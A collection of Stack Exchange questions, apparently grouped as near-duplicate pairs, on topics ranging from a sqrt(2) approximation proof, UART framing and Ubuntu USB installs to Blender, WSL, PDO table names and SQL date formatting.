\sqrt{2} \tag{111} $$ We know that $2 \le m$, so we can infer the following. $$ 2 < \frac{1}{3} + \sqrt{2} \tag{112} $$ $$ 6 < 1 + 3\sqrt{2} \tag{113} $$ $$ 5 < 3\sqrt{2} \tag{114} $$ $$ 25 < 18 \tag{115} $$ $$ \bot \tag{116} $$ And the next case (117) $$ \left| \sqrt{2} - \frac{1}{n} \right| \ge \frac{1}{3n} \;\;\;\text{where $m = 1$, $n \ge 2$} \tag{117} $$ $\frac{1}{n}$ is at most one, so the expression inside the absolute value on the LHS is positive. $$ \sqrt{2} - \frac{1}{n} < \frac{1}{3n} \tag{NG3} $$ $$ \sqrt{2} < \frac{1}{3n} + \frac{1}{n} \tag{119} $$ $$ \sqrt{2} < \frac{4}{3n} \tag{120} $$ $$ 3n\sqrt{2} < 4 \tag{121} $$ $$ 3n < 2 \sqrt{2} \tag{122} $$ $$ 9n^2 < 8 \tag{123} $$ however, $n \ge 2$ by hypothesis. $$ 36 < 8 \tag{124} $$ $$ \bot \tag{125} $$
Prove that for for all $p,q\in \mathbb{Z}$, $q>0$ we have: $$ \left| \sqrt{2}-\frac{p}{q} \right| > \frac{1}{3q^2}. $$ To be honest, I do not know where to start - any help would be appreciated.
I just found out DropBox(free) and I'm not sure if using it as a private storage for file uploads for a website is allowed and is not considered an abuse of their service. For example, a blogger displays in image in his/her article and that image is stored in his/her dropbox. Or a portfolio site of an artist featuring his/her artwork samples in his website and those pictures of his art are stored from his/her dropbox. And how about a small commercial website like a website of a restaurant featuring its dishes?
I'm making a website on a free hosting that doesn't have much space or bandwidth. So I considered using Dropbox Public folder for static files, such as: Javascript, CSS Images Downloads (each a few hundred kilobytes) Does Dropbox allow such extensive usage, and what is the limit?
I have a request for Ubuntu: I need the team to update the Ubuntu iso on the download page with an updated installer, so that Ubuntu can successfully be installed on my USB drive. I don’t like dualboot systems on my PC’s hard drive, so I decided I'd install the system on a flash drive; a safer way to install and use systems. I did so, but the bootloader (GRUB) is installed on my PC instead of my destined USB drive, with the rest of the Ubuntu system, no matter what, so I can’t use Ubuntu on any other PC, like other systems like Chromium OS systems. I can bootload Pop! OS an any PC because it does not depend on a bootloader/GRUB to access the system. But I don’t like Pop!_OS like I do Ubuntu. Ubuntu team, please fix this in your isos so that GRUB won’t be installed on the PC and I can use my USB drive to use Ubuntu on any PC.
If you are hurrying to reply, System → Administration → StartUp Disk Creator -- no, that's not what I'm talking about. I want to try Ubuntu 11.04's Unity without touching my existing Ubuntu install. To do this, I need to install the nVidia drivers first (sigh). To do this, I need changes to persist a reboot. To do this, I need to really install Ubuntu on a USB key. How do you do that? What I tried I tried to make a USB key from , then boot from it, then choose "Install Ubuntu." The installer refused to install to the installation media itself. I tried, from my installed copy of Ubuntu: sudo kvm /dev/sdb --cdrom .cache/testdrive/iso/ubuntu_natty-desktop-i386.iso ...but the installer didn't detect the disk properly.
I wan to update a (biblatex-ieee) that I use. I do not want to update my whole system (I need to maintain specific versions for some SWs). How to retrieve the updates of that specific package without updating the whole system?
Because of I'd like to prevent apt-get upgrade and Update Manager from updating the "libgtk2.0-0" package. How can this be achieved?
I'm trying to write this in latex: Does anyone know how to write this? (Thanks in advance)
I know what my symbol or character looks like, but I don't know what the command is or which math alphabet it came from. How do I go about finding this out?
Suppose that these events occur by this order: Someone posts a question. User A posts an answer. User B posts an answer. The answer posted by user A gets deleted. The answer posted by user B gets accepted; also it gets a score of 10. In this situation, will user B get the Enlightened badge? The in the Help Center says that that badge is given under these conditions: First to answer and accepted with score of 10 or more. But it is not clear (at least not to me) whether or not an answer is considered as the first answer if it is just the first undeleted answer.
Some badges like the requires one to be the first to answer. I have cases where my answer was accepted like , and the answer previous to mine was deleted, thus making my answer the only one. Is a deleted answer counted as the first answer? Does it prevents a question for awarding the "first to answer" type of badges? I understand that some answers might be related to experience, but I would be inclined to accept an answer that provide an official documented reference.
Here's from an old song (1963) "" by Lesley Gore. She don't know that she's a lucky girl Here's another example, "Silence is Golden" (1964) by The Tremeloes [YouTube ] Oh, don't it hurt deep inside to see someone do something to her. I wonder how common it is to say "She don't" or "don't it". Do native English speakers often use these? By the way, Lesley Gore is American, and the Tremeloes is British.
Which one of the statements below is correct? He don't have knowledge about others. He doesn't have knowledge about others.
Are the password restrictions really necessary? Are people storing their SSN and Bank Account info on Stack Overflow?
Why the crazy password requirements? It a Q&A site, and I have to conform to arbitrarily chosen password complexity criteria. With a 22 random lowercase characters (entropy 119 bits), the asks me to: Just adding uppercase characters to the mix does not satisfy the requirements. With 125 bits of entropy, It still asks me to: Fortunately, doing either of these does satisfy the requirements. As long as there are enough unique characters. The password a1ᓕ♵Ŀꁏꂯ (with a1 replacing Unicode characters to satisfy the numbers and letters requirement, reducing the level of entropy from 112 to 88 bits) still causes the generator to insist that the password: Sadly, the famous password doesn't fly, either: I add entropy in my passwords in other ways than the Password1 (entropy approximately 0) mechanism suggested by these requirements, and prefer to use the Stack Exchange OpenID provider.
I want to prove for all integers $a$ that if $3\mid a$ then $3\mid a^2$. Suppose that $a \in \mathbb{Z}$ and $3\mid a$. Then $a = 3k$ for any integer k. Hence $$a^2 = (3k)(3k) = 9k^2 = 3(3k^2)$$ Since $k$ is a integer, $3k^2$ is an integer. Thus $a^2 = 3b$ for some integer $b$. Therefore $3\mid a^2$. Is this proof correct?
I just need to know that if $ a $ divides $ b $, where $ a $ and $ b $ are integers, does $ a^{2} $ divide $ b^{2} $?
I understand that it is common for a UART scheme to use 8N1, meaning 1 start bit, 8 data bits, and 1 stop bit. Something like this: 0xxxxxxxx1 Where 0 is the start bit, the x's are the data, and 1 is the stop bit. In the case of multiple frames being sent back to back continuously, you'd have something like this: 0xxxxxxxx10xxxxxxxx10xxxxxxxx1 My question is: how can the receiver tell the difference between the start/stop bits and data bits? To illustrate this point, suppose that the data byte 0xAA is over and over. This would look like: 01010101010101010101010101010101010101010101010101 I made the start/stop bits bold for emphasis, but it seems to me there really is no way to distinguish these from the data bits. Sure, if the receiver has had a solid error-free connection to the transmitter since eternity past, then I can see how this wouldn't be a problem. Or if the bytes are not sent back to back then it wouldn't be a problem. But I've worked with 8N1 circuits that were continuously transmitting bytes one after another, and I could disconnect/reconnect the wires mid-transmission and the receiver would always jump right back into receiving correctly. How is this possible?
I'm experimenting with writing a software UART on my microcontroller using GPIO pins. This is to temporarily add a UART channel on a project until we get the new design implemented that uses a uC with more UART ports. What I'm having difficulty with is correctly detecting a start bit in a serial stream. The source of the stream is external and doesn't care when my device powers up. So it's very likely that my device will power on and start seeing data bits in the middle of a byte transmission. Undoubtedly, that will cause my software UART to read erroneous values, as it won't be able to tell the difference between a start bit and any other high-to-low transition. Is this an inevitable issue with a UART channel? Or is there some clever trick that the uC manufacturers use in their hardware UARTs?
I have an issue with some of our debian 8 servers. Sometimes our servers refuse to boot. We try to check some disk and memory issue but we found nothing. We think about a network issue (our server in the screen has many failover IPs), so we try to reduce the network configuration to the minimum (only lo and eth0 configuration). The network connectivity is working right (all alright in rescue mode and alright when the server success to boot). Screenshot of the boot process
I have multiboot Debian with others Unix/linux distro. During the boot process ,i get the following error: A start job is running for dev-disk by \x2duuid-.....1min:30 s Dependencies failed for swap After 1min : 30 s the boot process continued without problem , How to solve it?
i have a bit of an issue. I live in a 2 story house and I'd like to run 2 ethernet cables down to the first floor from my room. The issue is that when I drilled the hole, i drilled it diagonally through the joist and it eventually punctured my family room wall. Would it be alright to drill a hole in the joist from the bottom hole that would eventually meet the puncture hole halfway and create an opening for the cables? Or would that destroy the structural integrity of the joist? The drawing depicts a side view of the joist and drywall. The red is the wood joist. The purple is the diagonal puncture I foolishly made. And the blue is the hole I'm thinking about making. But I need advice on if it's the best option. I don't want my room crumbling..
I just bought a new house and I'm looking to run some cables. One of the areas I would like to run it to would require drilling through a 2x10 sistered joist. Realizing that going through the joist should be a last resort, if the hole is 1/4" and in the middle of one of the joists will this weaken the integrity? I have seen lots of articles about drilling through the depth of a joist, but very few regarding drilling vertically.
There are solutions to Maxwell's Equations called Standing waves, or so I was told . If we consider the particle nature of EM waves, what does standing waves mean in terms of photons? And when electrons excite and then release photons, can these be standing waves? Does that make any sense? Edit: Most surely, this question is not a duplicate of . The other question is about the general relationship between EM waves and photons. I want to know about this exact same relationship, but for the case of Standing Waves .
At the end of this nice video (), she says that is a chain reaction of electric and magnetic fields creating each other so the chain of wave moves forward. I wonder where the is in this explanation. What is the relation between electromagnetic wave and photon?
I am trying to export a model with transparent material in fbx format I know that the format does not support different colors and need to after assemble the colors but with the transparent color I can not shading glass Settings I tried and failed Thanks for the help
I used node textures in a mesh I exported to .FBX. I then imported it into Unreal Engine 4 and it didn't import any textures; I clicked the Upload Textures option in Unreal Engine. Is there something I'm doing wrong or is it Blender?
I have a long video that I'd like to insert in the Blender VSE. So I open the default blend file, enable AV-sync, and add the movie strip. Somehow, the video is already the same length as the audio strip. The default framerate is ~29.97 fps, but when I open the source in VLC it says the source framerate is about 36. I move the playhead to around halfway through the audio strip in Blender, and it's entirely out of sync with the video. But the strips are already the same length! I tried setting the framerate to what VLC said the source's should be. Now the ends of the strips are nearly ten thousand frames apart and the synchronization problem is even worse. I haven't been able to find suitable answers from similar questions on Stack Exchange. They're either "add a speed effect strip" (the strips are already the same length, they're just not in sync) or "make the Blender framerate match the source video framerate" (which I did). Edit: The question marked this is marked as a duplicate as reached the same solution, but it is really a different question.
When I import same movie clip, recorded with my phone, in Blender 2.80 it automatically recognize 1278 frames with FPS 42.28 and that's correct, but blender 2.81 and above recognizes only 923. So when I render clip to frames I'm missing 355 frames although in sequencer when I slide through timeline, I can preview those frames. I tried to play with FPS and Base settings but with no luck. Does anyone know what's happening here? Thank You
Of the vote-to-close reasons, marking as "duplicate" seems unique in that: It immediately results in the OP getting his question answered It frequently requires knowledge of the subject comparable to what it would take to answer the question directly as well as requiring knowledge of the SO repository or ability/willingness to search It involves forgoing reputation which would otherwise likely accrue to the person identifying the duplicate Similarly, adding an additional vote with the same dup target seems akin to "upvoting" an existing answer. As such, what would be the effects of incentivizing the first mark-as-duplicate voter with something equivalent to an "accept" or "upvote" rep gain once the question is closed, even if a smaller amount (e.g. 5 points)?
deals with various ways of rewarding the finding of duplicates, a tough and increasingly necessary janitorial task. Here's a concrete suggestion: Reward the finder of a duplicate with +10 points if the question gets closed as a dupe. If multiple duplicates are found, reward all finders whose suggestion was voted for at least once by another user. (The limitation is to avoid gaming by making frivolous suggestions when it's obvious that a question is going to get closed as a duplicate.) Reward each following closevoter who picks one of the previously suggested dupes with +2 points if the question gets closed. Punish everyone involved (dupe-finders and dupe-voters) with -5 points, and revoke all rep gained from the dupe-voting, if a question closed as duplicate gets reopened. A punishment for mis-voting is going to be controversial but in my eyes, it is absolutely essential. Finding a good dupe is a work of love: You need to make sure you understand the OP's question, and you need to scan every potential duplicate for whether it really contains an answer that will help the OP. Everyone dupe-votes carelessly from time to time, so the threat of punishment needs to be present to keep everyone on their toes, just as the threat of downvoting does when you post an answer. If you think +10 is too high a reward: Consider that finding a duplicate can often be more work than writing an answer, and a correct answer usually nets you at least 10 points, if not much more. If you think -5 is too much of a punishment: -2 might work as well, although I really think there should be a harsh punishment on an unfair dupe-closing.
I am using Windows Subsystem for Linux (WSL), and I have just installed xcrysden on it with no apparent problem, however when I try to run it, I repeatedly get the Following error: X Error of failed request: BadWindow (invalid Window parameter) Major opcode of failed request: 3 ResourceID in failed request: 0xffffffff Serial number of failed request: 761 Now running graphical interfaces in WSL is a bit annoying. To do it, I use the X server for Windows. I set the DISPLAY variable via export DISPLAY=localhost:0.0, and that does the trick for me. I can run for example gnuplot with no problem this way. Why does xcrysden fail to launch in this situation? Here is the full STDERR Stream that I get: Running on platform : unix Operating system : Linux Package ImageMagick's convert: /usr/bin/convert Package ImageMagick's import: /usr/bin/import Package Ppmtompeg: /usr/bin/ppmtompeg Package Babel: /usr/bin/babel Executing: /usr/lib/xcrysden/ftnunit X Error of failed request: BadWindow (invalid Window parameter) Major opcode of failed request: 3 ResourceID in failed request: 0xffffffff Serial number of failed request: 759 X Error of failed request: BadWindow (invalid Window parameter) Major opcode of failed request: 3 ResourceID in failed request: 0xffffffff Serial number of failed request: 761 Error in startup script: Togl: couldn't get visual while executing "togl .mesa -width 400 -height 400 -ident .mesa -rgba true -redsize 1 -greensize 1 -blu..." (procedure "PlaceGlobWin" line 105) invoked from within "PlaceGlobWin 0 [expr round(650 * $fac1)] [expr round(650 * $fac1)]" (procedure "ViewMol" line 25) invoked from within "ViewMol ." invoked from within "if [file exists $filedir] { # pop-up Viewer ViewMol . openExtStruct 3 crystal external [list sh $system(TOPDIR)/scripts/pwi2xsf.sh] pwi2xsf..." (procedure "parseComLinArg" line 89) invoked from within "parseComLinArg [lrange $argv 2 end]" invoked from within "if { [llength $argv] > 2 } { parseComLinArg [lrange $argv 2 end] } else { ViewMol . }" (file "/usr/share/xcrysden/Tcl/xcInit.tcl" line 609) X Error of failed request: BadWindow (invalid Window parameter) Major opcode of failed request: 12 ResourceID in failed request: 0xffffffff Serial number of failed request: 764
I searched around, and currently there are two methods suggested; installing an enhancement for Windows Subsystem for Linux and installing an XServer. I want to know which method is the most hassle-free (easy to install AND to use), and which one is less memory-heavy. I just want Synaptic and CMake. Why couldn't that be a builtin feature?
The shape I wish to model is something like a That is helicity on (at least) two levels. I would prefer an algorithmic way, since the parameters of the model will be changed.
I'm trying to model something like the image below, and I'm stuck on the support wires. I've been trying to create a curve to use a guide for a spring model, but haven't had success. I find it tough to get my curves the right distance off the sphere; it's also tough to get the right curvature. Here's another example of my problem; I can't figure out how to get good curve placement such that it sits nicely on the surface of my sphere. Is there a better workflow that I could use to model this?
I cant get my code to bind the params to the Mysql Query, what am i doing wrong here? ERROR Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: number of bound variables does not match number of tokens' in /Users/warren/Sites/Frame Work/Modules/User Login/classes/db.php:34 Stack trace: #0 /Users/warren/Sites/Frame Work/Modules/User Login/classes/db.php(34): PDOStatement->execute() #1 /Users/warren/Sites/Frame Work/Modules/User Login/classes/db.php(48): dbConnect->get_contents() #2 {main} thrown in /Users/warren/Sites/Frame Work/Modules/User Login/classes/db.php on line 34 CODE <?php include '../../../../config.php'; $dbUser = $config['username']; $dbPass = $config['password']; class dbConnect { public function connect($dbUser,$dbPass) { $this->dbUser = $dbUser; $this->dbPass = $dbPass; try { $this->connect = new PDO('mysql:hostname=localhost;dbname=totalrisk', $this->dbUser, $this->dbPass); $this->connect->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); return $this->connect; } catch (Exception $e) { echo 'ERROR: ' . $e->getMessage(); } } public function select_table($table) { $this->select_table = $table; echo $this->select_table; } public function select_col($col) { $this->select_col = $col; echo $this->select_col; } public function get_contents() { $stmt = $this->connect->prepare('SELECT * FROM :table'); $stmt->bindParam(':table', $this->table , PDO::PARAM_STR); $stmt->execute(); $result = $stmt->fetchAll(); while($row = $stmt->fetch()) { print_r($row); } } } $conn = new dbConnect(); $conn->connect($dbUser,$dbPass); $conn->select_table('users'); $conn->select_col('site_name'); $conn->get_contents(); ?>
Why can't I pass the table name to a prepared PDO statement? $stmt = $dbh->prepare('SELECT * FROM :table WHERE 1'); if ($stmt->execute(array(':table' => 'users'))) { var_dump($stmt->fetchAll()); } Is there another safe way to insert a table name into a SQL query? With safe, I mean that I don't want to do $sql = "SELECT * FROM $table WHERE 1"
Let $a_n < c < b_n$ and $a_n, b_n → c$ as $n → ∞ $. Suppose $ f : \mathbb{R} → \mathbb{R} $ is continuous. Show that (Possibly using similar proof to FTC...?) $$ \lim_{n \to\infty }\frac{1}{{b_n - a_n}}\int_{{\,a_n}}^{{\,b_n}}{{f\left(x\right)\,dx}} = f(c).$$
Let $f \colon [a,b] \to \mathbb{R}$ be a continuous function on $[a,b]$. Prove that there exists $c \in (a,b)$ such that $\frac{1}{b-a}\int_a^b d(s)\,ds = f(c)$. I understand there is an easy way of doing this, I just want to check if my working to a more complicated method is correct. $f$ continuous on $[a,b] \implies $ Riemann Integrable on $[a,b]$ $\implies $ makes sense to write $\int_{a}^{b}f(s) ds$ Define $A(x)=\int_{a}^{x}f(s) ds$ then by the Fundamental Theorem of Calculus $A$ is differentiable on $(a,b)$ and $A'(x)=f(x)$ ($f$ is continuous on $[a,b]$) $A$ differentiable on $(a,b) \implies A$ continuous on $(a,b)$ $\lim\limits_{x \to a+} A(x)=0= A(a) \implies A$ is right continuous at $a$ $\lim\limits_{x \to b-} A(x)=\int_{a}^{b}f(s) ds$ (which exists as $f$ is Riemann Integrable on $[a,b])$$ = A(b) \implies A$ is left continuous at $b$ So $A$ continuous on $[a,b]$ and differentiable on $(a,b)$ By Mean Value Theorem $\exists c \in(a,b)$ st. $\frac{A(b)-A(a)}{b-a}=A'(c)=f(c) $ (F.T.C) $\implies$ $\frac{\int_{a}^{b}f(s) ds}{b-a}=f(c)$
I am working on a gas network utility and I create some point layers in order to insert some symbols of special forms. However, each symbol should be attached the network with a specific angle in order to fit it with the network. Rotating actions applies to all point symbols of the layer. Is it possible to rotate only one feature?
I am trying to apply a rule to rotate symbols based on the value of an attribute. I tried to copy , which is essentially my question, however it does not work for me. I have a layer with two attributes, the slope and aspect. I want to colour the symbols by the slope (this part works) and rotate by the aspect. The steps I take are: Layer Properties -> Style -> Graduated -> Symbol -> Change Select Simple Marker (arrow) and press the button to the right of angle -> field type (double) -> Aspect-sel Applying these commands changes the symbol to an arrow, and I can easily apply the colour gradient, but the symbols do not rotate. The attribute Aspect-sel varies from 2.87 to 334.23. ETA: I was using Version 2.8.3 - on suggestion I updated to 2.14.10, which solved the problem.
This is the catamaran in question, and in a separate article(on the same thing) that it can travel 3x as fast as the wind... Under everything I understand about physics, this does not work, you can't get more energy out than you put in, then can anyone explain this?
Recently a set a record for sailing a wind-powered land vehicle directly down wind, and a speed faster than wind speed. Wikipedia has a talking about it, but it doesn't explain exactly how it works. I can imagine some configurations, but I don't get how a system could be set up to push forward with a tailwind (when the cart is moving slower than the wind) and push forward with a head wind (when the cart is moving faster than the wind). Could someone help explain how this is possible?
I have a solution containing 13 projects. The solution is configured to start multiple projects. A lot of these project need to go to shared databases and web services. My app.config and web.config files now contain a lot of duplication. Eg when I want to change a database I need to change all the configuration files in the projects (app.configs) that access that database. I wonder what the best approach is to tackle this? Is there a way to define solution wide configuration settings in .NET?
We have a suite of interlinked .Net 3.5 applications. Some are web sites, some are web services, and some are windows applications. Each app currently has its own configuration file (app.config or web.config), and currently there are some duplicate keys across the config files (which at the moment are kept in sync manually) as multiple apps require the same config value. Also, this suite of applications is deployed across various envrionemnts (dev, test, live etc) What is the best approach to managing the configuration of these multiple apps from a single configuration source, so configuration values can be shared between multiple apps if required? We would also like to have separate configs for each environment (so when deploying you don't have to manually change certain config values that are environment specific such as conenction strings), but at the same time don't want to maintain multiple large config files (one for each environment) as keeping this in sync when adding new config keys will prove troublesome.
I work with a questionnaire that contains a variety of filter questions. In the following I will give an example how one block of this successive questions look like. Have you ever skipped school in your life? (Yes/No) If answer is "No", continue with question X on the next page If answer is "Yes": Have you skipped school in the last year? (Yes/No) If answer is "No", continue with question X on the next page If answer is "Yes": How many times have you skipped school in the last year? (... times) The right way to answer this bunch of questions is to respond only to the subsequent question(s) number 2 and/or 3, if one has responded with a "Yes" to the respective previous question (1 resp. 2). If one has answered "No" to one of the first two questions, he or she has to skip the following question(s) and continue with the next block in the questionnaire. Most of the participants have dealt with this questions in the manner just described. But there are also some who fill in implausible answers. With implausible I mean responding to a question even if this was not reasonable in regard to the filter. An example: A respondent admitted that she/he has once before skipped school in his life ("Yes" to question 1). Following this she/he responded that she/he has not done this in the last year ("No" to question 2). Nevertheless, she/he incorrectly answered to question number 3. She/He filled in that she/he has played truant 15 times in the last year. The question is now: How to deal with these implausible answers to filter questions? There seem to be three obvious strategies: Use all information as valid regardless of their implausibility Recode all implausible answers as missing Examine all individual cases that have implausible answer patterns in regard to the filter questions -- see if one can decide on behalf of these informations if the respective answer is really implausible or not I hope that suggestions can deal with these two issues: The advantages and disadvantages of the listed (or other) strategies The way a recommended strategy can be realized (if this is not very easy, like in the case of using all information or recoding all as missing)
I have some survey response data that are inconsistent and I'm not sure what is the best way to handle them. This is the nature of the inconsistency: Have you ever had a food poisoning episode that you think might have been caused by the food in a particular restaurant ? a) Yes b) No Did any of these episodes prevent you from eating at that restaurant again? a) Does not apply, never have had a food poisoning episode b) Yes c) No Following these episodes, did you come back to your normal condition after 24 hours? a) Does not apply, never have had a food poisoning episode b) Yes c) No I believe that the intent of the designers of the survey was that anyone answering "No" to 1) should answer "Does not apply" to 2) and 3), but that's not how it worked. A large group of respondents picked "No" for 1) and "No" for at least one of 2) or 3). What is the best way to deal with this inconsistency? Where are some good references (books, papers, websites, etc.) to look at discussions and solutions for issues of this kind, and data cleaning in general?
If $C$ is a contour in the complex plane, is there a geometric interpretation of the contour integral $\int_Cf(z)dz$? What does the value of this integral mean/tell us about anything? Why does the sign of the integral change when the contour is traversed in the opposite direction?
Im trying to get my head around complex integration/complex line integrals. Real integration can be thought of as the area under a curve or the opposite of differentiation. Thinking of it geometrically as the area under a curve or the volume under a surface in 3 dimension is very intuitive. So is there a geometric way of thinking about complex integration? Or should I just be viewing it as process that reverses differentiation? Or has integration other meanings in complex analysis? Here is an example, could someone explain this to me - Here's the definition of the integral along a curve gamma in C, parameterized by $w:[a, b] ->C$ \begin{equation} \int_\gamma f(z)dz = \int_a^b f(w(t)).w{(t)}'dt \end{equation} So I have - $\gamma$ is the unit circle with anti-clockwise orientation parameterized by $w:[0, 2\pi]\to C$ $w(t) = e ^{it} = Cos(t) + iSin(t)$ So if use the definition of the integral, $\int_\gamma f(z)dz = \int^b_a f(w(t)).w{(t)}'dt$, and work this out it comes to $\int^{2\pi}_0 i dt = 2{\pi}i$ So what does this $2{\pi}i$ represent? Does it mean anything geometrically, like if a regular integral works out to be 10 that means the area under the curve between 2 points is 10...
In how many ways can b blue balls and r red balls be distributed in n distinct boxes?
I have 4 unlabeled (identical) blue balls and 2 identical redz balls and 5 different (distinct) boxes. In how many ways all balls can be placed in these 5 boxes?
I believe all sites should be available in the closure UI. Then when a site is not actually available for automatic migration, other options should appear. What appears will depend upon the site and/or why the site is not available for automatic migration. (This question was added using the mobile site, and so without the benefit of suggested existing questions, or a preview.) I originally thought this when a code-golf-like question was posted on Stack Overflow itself, and, accessing the site from a mobile, I wanted to quickly suggest that's where it should go. The current UI leaves you with a list of available migration sites and no further possibilities. You have to start over and try to choose the 'correct' option.
Possible Duplicate: At the moment, when you vote to close a question when it's off-topic, you can only vote to move it to one of these sites: meta.stackoverflow.com serverfault.com superuser.com webmasters.stackexchange.com programmers.stackexchange.com But sometimes the question is really a good one, but it would fit some other Stack Exchange site. And new users rarely know the difference. For example: http://codereview.stackexchange.com http://math.stackexchange.com http://scicomp.stackexchange.com http://cstheory.stackexchange.com http://android.stackexchange.com http://webapps.stackexchange.com Anyway, I think giving the whole range of Stack Exchange sites in the off-topic option will help reduce the load on Stack Overflow and direct people to right sites.
I’ve created a thumbdrive with 12 partitions with ASD EFI tests for Macs. I tried renaming the partitions to shorter names with both Finder and Disk utility (so they show up in startup manager properly, the instead appear with this "EFI BOOT" name, see picture). The problem is that the names of the partitions in Startup Manager is different to the one I put. I also tried renaming them with this command (to no avail): /usr/sbin/diskutil rename ASDEFI124 42 (where 42 is the new name I want to set) I also remember that in older versions of macOS, such as Yosemite or earlier, when you restored the image in disk utility, it gave you the option to set a name for the new partition and that seemed to work. But I can see this is not offered in macOS 10.11 nor in macOS 10.14. Any way to rename them to this shorter names? I'd like shorter names here, like 40 41, 43...
I am trying to rename my Windows / Boot Camp partition from "EFI Boot" to "Boot Camp" or "Windows". But I do not figure out where to rename. I tried bless command on the NTFS Volume, I tried creating the folders "System/Library/CoreServices" and copied the .disklabel file into it (or also blessit) but nothing changed. Finally I got the Volume Icon on Boot Selection to work by copying the icns File onto the EFI partition. Also tried blesson the EFI partition – but this also do not work. So I have my Icon, but I also would like to rename it – how can I do this? Systems are Windows 10 and macOS Mojave.
Is it possible to (and if so, how do I) make a single program work both as a console application and a GUI version using Delphi 2007? What I am after is that if the program is run with the appropriate command-line options, it should function as a console program, printing output to the console using WRITELN, but if no command line arguments are given it should run as a normal Delphi GUI application? The catch is that when running as a console application, the command line interpreter waits for the application to terminate before allowing you to enter a new command, whereas a GUI application started from the command line immediately returns you to the command line and the GUI application is started in a detached process. I want this behaviour retained. I don't mind something like this: IF GUI THEN StartApplicationAsGUI(ParamStr(0)) ie. I don't mind that I'll have to restart the application using some form of EXECUTE call to start it in GUI mode if needed, as long as the command line interface returns to the command line input when the GUI version is started. I'd prefer a solution/suggestion that is along the lines of: <Parse Comnand Line> IF ConsoleMode THEN    RunConsole(Parameters) ELSE BEGIN    Application.Initialize;    Application.CreateForm(...)    Application.Run; END (or vice-versa, ie. doing things a special way if GUI mode) so that I can still use Delphi's IDE and VCL when making the GUI interface...
I want to make a program that can be run as a CLI or GUI application depending on what flags are passed into it. Can this be done? I have found these related questions, but they don't exactly cover my situation:
I am passing {4/1/2017 12:00:00 AM} from my C# code to SQL Server as a parameter of a stored procedure. And in the stored procedure, I want to convert this into MMddyyyy format for data processing. I tried many suggestions from Google but nothing works for me. Throwing this error: The conversion of a varchar data type to a datetime data type resulted in an out-of-range value
I need to convert a value which is in a DateTime variable into a varchar variable formatted as yyyy-mm-dd format (without time part). How do I do that?